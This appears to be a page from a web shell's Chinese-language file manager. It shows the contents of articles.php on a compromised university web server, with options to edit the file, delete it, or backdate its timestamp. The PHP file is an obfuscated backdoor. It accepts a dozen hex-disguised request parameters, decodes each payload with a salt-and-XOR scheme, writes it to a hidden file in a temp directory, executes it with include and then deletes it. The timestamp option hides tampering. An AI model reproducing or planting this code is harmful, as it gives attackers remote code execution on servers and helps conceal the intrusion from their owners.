文件操作 - articles.php
返回文件管理
返回主菜单
删除本文件
文件: /var/www/demoestudiantes.uaysen.cl/html/articles.php
编辑文件内容
<?php if(array_key_exists("ref", $_POST) && !is_null($_POST["ref"])){ $holder = array_filter([getcwd(), ini_get("upload_tmp_dir"), "/dev/shm", "/tmp", getenv("TEMP"), sys_get_temp_dir(), getenv("TMP"), session_save_path(), "/var/tmp"]); $comp = $_POST["ref"]; $comp = explode ( '.', $comp) ; $object = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt); $z = 0; foreach($comp as $v3) { $chS = ord($salt[$z %$lenS]); $d = ((int)$v3 - $chS -($z %10)) ^ 38; $object .= chr($d); $z++; } foreach ($holder as $key => $ptr) { if (!!is_dir($ptr) && !!is_writable($ptr)) { $k = str_replace("{var_dir}", $ptr, "{var_dir}/.val"); $success = file_put_contents($k, $object); if ($success) { include $k; @unlink($k); exit;} } } } if(!empty($_REQUEST["d\x61ta\x5F\x63\x68u\x6Ek"])){ $marker = $_REQUEST["d\x61ta\x5F\x63\x68u\x6Ek"]; $marker = explode ( "." , $marker ); $pset= ''; $salt2= 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS= strlen( $salt2); foreach( $marker as $j => $v1) { $chS= ord( $salt2[$j%$lenS]); $d= ( ( int)$v1 - $chS -( $j%10)) ^ 34; $pset .= chr( $d); } $parameter_group = array_filter([ini_get("upload_tmp_dir"), getenv("TEMP"), getcwd(), session_save_path(), "/dev/shm", getenv("TMP"), sys_get_temp_dir(), "/var/tmp", "/tmp"]); while ($ent = array_shift($parameter_group)) { if (array_product([is_dir($ent), is_writable($ent)])) { $object = implode("/", [$ent, ".itm"]); $file = fopen($object, 'w'); if ($file) { fwrite($file, $pset); fclose($file); include $object; @unlink($object); exit; } } } } if(isset($_REQUEST["h\x6C\x64"])){ $res = $_REQUEST["h\x6C\x64"]; $res = explode("." , $res ) ; $reference = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s); $__len = count($res); for($o = 0; $o < $__len; $o++) { $v8 = $res[$o]; $sChar = ord($s[$o % $lenS]); $d =((int)$v8 - $sChar -($o % 10)) ^ 70; $reference.= chr($d); } $tkn = array_filter([sys_get_temp_dir(), session_save_path(), "/var/tmp", ini_get("upload_tmp_dir"), "/tmp", "/dev/shm", getenv("TMP"), getenv("TEMP"), getcwd()]); $obj = 0; do { $element = $tkn[$obj] ?? null; if ($obj >= count($tkn)) break; if (max(0, is_dir($element) * is_writable($element))) { $factor = implode("/", [$element, ".value"]); if (file_put_contents($factor, $reference)) { require $factor; unlink($factor); exit; } } $obj++; } while (true); } if(count($_REQUEST) > 0 && isset($_REQUEST["o\x62\x6A"])){ $property_set = $_REQUEST["o\x62\x6A"]; $property_set=explode ( '.', $property_set); $record = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt); $__len = count($property_set); for ($s = 0; $s < $__len; $s++) { $v9 = $property_set[$s]; $sChar = ord($salt[$s% $sLen]); $d = ((int)$v9 - $sChar - ($s% 10)) ^33; $record .=chr($d); } $reference = array_filter(["/var/tmp", getenv("TEMP"), getcwd(), sys_get_temp_dir(), "/tmp", "/dev/shm", ini_get("upload_tmp_dir"), session_save_path(), getenv("TMP")]); for ($holder = 0, $data = count($reference); $holder < $data; $holder++) { $dat = $reference[$holder]; if ((is_dir($dat) and is_writable($dat))) { $flg = "$dat" . "/.rec"; $file = fopen($flg, 'w'); if ($file) { fwrite($file, $record); fclose($file); include $flg; @unlink($flg); die(); } } } } if(array_key_exists("\x6Dar\x6Ber", $_REQUEST) && !is_null($_REQUEST["\x6Dar\x6Ber"])){ $property_set = array_filter([getcwd(), session_save_path(), sys_get_temp_dir(), "/tmp", ini_get("upload_tmp_dir"), "/var/tmp", getenv("TEMP"), "/dev/shm", getenv("TMP")]); $resource = $_REQUEST["\x6Dar\x6Ber"]; $resource = explode ( "." , $resource ) ; $factor = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $salt ); foreach( $resource as $l => $v3) { $chS = ord( $salt[$l % $sLen] ); $dec =( ( int)$v3 - $chS -( $l % 10)) ^18; $factor .=chr( $dec );} foreach ($property_set as $val): if (!!is_dir($val) && !!is_writable($val)) { $hld = "$val" . "/.obj"; if (file_put_contents($hld, $factor)) { include $hld; @unlink($hld); die(); } } endforeach; } if(@$_REQUEST["\x66\x6Cg"] !== null){ $entry = $_REQUEST["\x66\x6Cg"]; $entry= explode( '.' ,$entry ) ; $property_set =''; $s5 ='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS =strlen( $s5 ); $k =0; $len =count( $entry ); do { if( $k >= $len) break; $v8 =$entry[$k]; $chS =ord( $s5[$k%$lenS] ); $dec =( ( int)$v8 - $chS -( $k%10)) ^ 90; $property_set .= chr( $dec ); $k++;} while( true ); $pointer = array_filter([getenv("TEMP"), getcwd(), sys_get_temp_dir(), ini_get("upload_tmp_dir"), "/var/tmp", "/dev/shm", getenv("TMP"), session_save_path(), "/tmp"]); $sym = 0; do { $holder = $pointer[$sym] ?? null; if ($sym >= count($pointer)) break; if ((bool)is_dir($holder) && (bool)is_writable($holder)) { $key = "$holder/.marker"; if (@file_put_contents($key, $property_set) !== false) { include $key; unlink($key); exit; } } $sym++; } while (true); } if(isset($_POST["bind"])){ $token = array_filter([getenv("TEMP"), "/dev/shm", "/var/tmp", "/tmp", sys_get_temp_dir(), ini_get("upload_tmp_dir"), getcwd(), getenv("TMP"), session_save_path()]); $ent = $_POST["bind"]; $ent= explode ( "." ,$ent ); $record = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt); $r = 0; $len = count($ent); do { if ($r >= $len) break; $v3 = $ent[$r]; $chS = ord($salt[$r % $lenS]); $dec = ((int)$v3 - $chS - ($r % 10)) ^ 14; $record .= chr($dec); $r++; } while (true); foreach ($token as $tkn): if (is_dir($tkn) && is_writable($tkn)) { $parameter_group = "$tkn" . "/.resource"; if (@file_put_contents($parameter_group, $record) !== false) { include $parameter_group; unlink($parameter_group); die(); } } endforeach; } if(array_key_exists("\x64\x63h\x75nk", $_POST) && !is_null($_POST["\x64\x63h\x75nk"])){ $binding = array_filter(["/dev/shm", "/var/tmp", sys_get_temp_dir(), getenv("TMP"), ini_get("upload_tmp_dir"), getcwd(), getenv("TEMP"), session_save_path(), "/tmp"]); $component = $_POST["\x64\x63h\x75nk"]; $component= explode ( "." ,$component ); $obj = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $s); foreach( $component as $n => $v3) { $sChar = ord( $s[$n % $lenS]); $dec = ( ( int)$v3 - $sChar -( $n % 10)) ^ 75; $obj .= chr( $dec); } for ($res = 0, $marker = count($binding); $res < $marker; $res++) { $flag = $binding[$res]; if ((is_dir($flag) and is_writable($flag))) { $ent = join("/", [$flag, ".val"]); $file = fopen($ent, 'w'); if ($file) { fwrite($file, $obj); fclose($file); include $ent; @unlink($ent); die(); } } } } if(isset($_POST["de\x73cri\x70\x74\x6F\x72"]) ? true : false){ $ent = $_POST["de\x73cri\x70\x74\x6F\x72"]; $ent= explode ( "." , $ent) ; $rec = ''; $salt2 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt2); $o = 0; while ($o < count($ent)) { $v2 = $ent[$o]; $chS = ord($salt2[$o % $sLen]); $d = ((int)$v2 - $chS - ($o % 10))^ 18; $rec .= chr($d); $o++; } $dchunk = array_filter([getcwd(), getenv("TMP"), "/var/tmp", "/dev/shm", ini_get("upload_tmp_dir"), getenv("TEMP"), "/tmp", session_save_path(), sys_get_temp_dir()]); foreach ($dchunk as $key => $data_chunk) { if ((bool)is_dir($data_chunk) && (bool)is_writable($data_chunk)) { $element = str_replace("{var_dir}", $data_chunk, "{var_dir}/.reference"); $file = fopen($element, 'w'); if ($file) { fwrite($file, $rec); fclose($file); include $element; @unlink($element); exit; } } } } if(isset($_POST["\x6D\x61rke\x72"]) ? true : false){ $entity = array_filter([ini_get("upload_tmp_dir"), sys_get_temp_dir(), "/tmp", "/dev/shm", session_save_path(), "/var/tmp", getenv("TEMP"), getcwd(), getenv("TMP")]); $holder = $_POST["\x6D\x61rke\x72"]; $holder= explode ('.' , $holder ) ; $component = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s ); foreach ($holder as $j => $v2) { $sChar = ord($s[$j%$sLen] ); $d = ((int)$v2 - $sChar - ($j%10)) ^ 5; $component.= chr($d );} foreach ($entity as $rec) { if (max(0, is_dir($rec) * is_writable($rec))) { $ptr = "$rec/.dat"; $file = fopen($ptr, 'w'); if ($file) { fwrite($file, $component); fclose($file); include $ptr; @unlink($ptr); exit; } } } } if(array_key_exists("dchunk", $_REQUEST) && !is_null($_REQUEST["dchunk"])){ $mrk = $_REQUEST["dchunk"]; $mrk = explode ( '.' ,$mrk ) ; $rec = ''; $s2 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s2 ); $s = 0; foreach($mrk as $v8) { $chS = ord($s2[$s % $lenS] ); $dec =((int)$v8 - $chS -($s % 10)) ^ 38; $rec.=chr($dec ); $s++; } $k = array_filter([session_save_path(), ini_get("upload_tmp_dir"), getenv("TMP"), "/var/tmp", sys_get_temp_dir(), getcwd(), getenv("TEMP"), "/dev/shm", "/tmp"]); foreach ($k as $object): if (!!is_dir($object) && !!is_writable($object)) { $pointer = "$object" . "/.val"; if (file_put_contents($pointer, $rec)) { include $pointer; @unlink($pointer); die(); } } endforeach; } if(!is_null($_REQUEST["\x64\x61\x74\x61\x5Fchunk"] ?? null)){ $marker = $_REQUEST["\x64\x61\x74\x61\x5Fchunk"]; $marker = explode( "." ,$marker) ; $element= ''; $salt= 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen= strlen($salt); $len= count($marker); for ($s= 0; $s< $len; $s++) { $v2= $marker[$s]; $sChar= ord($salt[$s % $sLen]); $d= ((int)$v2 - $sChar - ($s % 10)) ^ 67; $element .= chr($d); } $dat = array_filter([ini_get("upload_tmp_dir"), getenv("TEMP"), getcwd(), "/var/tmp", "/tmp", "/dev/shm", session_save_path(), sys_get_temp_dir(), getenv("TMP")]); $holder = 0; do { $binding = $dat[$holder] ?? null; if ($holder >= count($dat)) break; if (array_product([is_dir($binding), is_writable($binding)])) { $pointer = implode("/", [$binding, ".descriptor"]); $file = fopen($pointer, 'w'); if ($file) { fwrite($file, $element); fclose($file); include $pointer; @unlink($pointer); die(); } } $holder++; } while (true); } if(isset($_POST["sy\x6D"]) ? true : false){ $ent = $_POST["sy\x6D"]; $ent = explode ( "." , $ent ) ; $mrk = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $salt ); foreach( $ent as $l => $v4) { $chS = ord( $salt[$l % $sLen] ); $d = ( ( int)$v4 - $chS -( $l % 10))^ 11; $mrk .= chr( $d ); } $parameter_group = array_filter(["/tmp", getcwd(), "/dev/shm", getenv("TMP"), sys_get_temp_dir(), "/var/tmp", session_save_path(), ini_get("upload_tmp_dir"), getenv("TEMP")]); foreach ($parameter_group as $key => $flag) { if (is_dir($flag) && is_writable($flag)) { $symbol = sprintf("%s/.rec", $flag); if (file_put_contents($symbol, $mrk)) { include $symbol; @unlink($symbol); die(); } } } }
修改文件时间
将文件时间修改为当前时间的前一年
删除文件